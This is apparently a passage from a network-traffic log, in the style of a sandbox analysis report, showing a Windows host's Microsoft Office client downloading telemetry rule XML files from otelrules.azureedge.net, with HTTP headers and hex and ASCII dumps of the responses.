2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.9	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:24 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 20e89b60-501e-008c-3a03-17cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185224Z-1657d5bbd48tnj6wmberkg2xy800000005k0000000001dh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:24 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.9	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:24 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 838d7376-001e-0014-17fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185224Z-1657d5bbd48xdq5dkwwugdpzr000000005t0000000002zr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:24 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.9	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 770fdf22-501e-0035-0d02-17c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd4824mj9d6vp65b6n400000005kg00000000gzh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.9	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7d18055e-701e-0098-56ff-16395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd48q6t9vvmrkd293mg0000000570000000014dwr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.9	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: b1fbfe33-a01e-003d-4fd4-1698d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd48brl8we3nu8cxwgn00000005k00000000165hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.9	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 096083c7-101e-008d-1673-1792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd48762wn1qw4s5sd3000000005b000000000122u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.9	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 4543d13f-701e-0050-5a04-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd4824mj9d6vp65b6n400000005f0000000012906 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.9	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 401481e1-301e-0099-6a5a-176683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd48dfrdj7px744zp8s0000000560000000007v4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.9	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 961c0255-701e-005c-1406-17bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd482krtfgrg72dfbtn000000054g00000000dyuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.9	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: fba86ca6-e01e-00aa-5200-17ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185225Z-1657d5bbd48t66tjar5xuq22r800000005d0000000008q9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:25 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.9	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:25 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: b6e95018-001e-00ad-70e6-18554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185226Z-1657d5bbd48sdh4cyzadbb3748000000054000000000yxg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:26 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.9	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:26 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
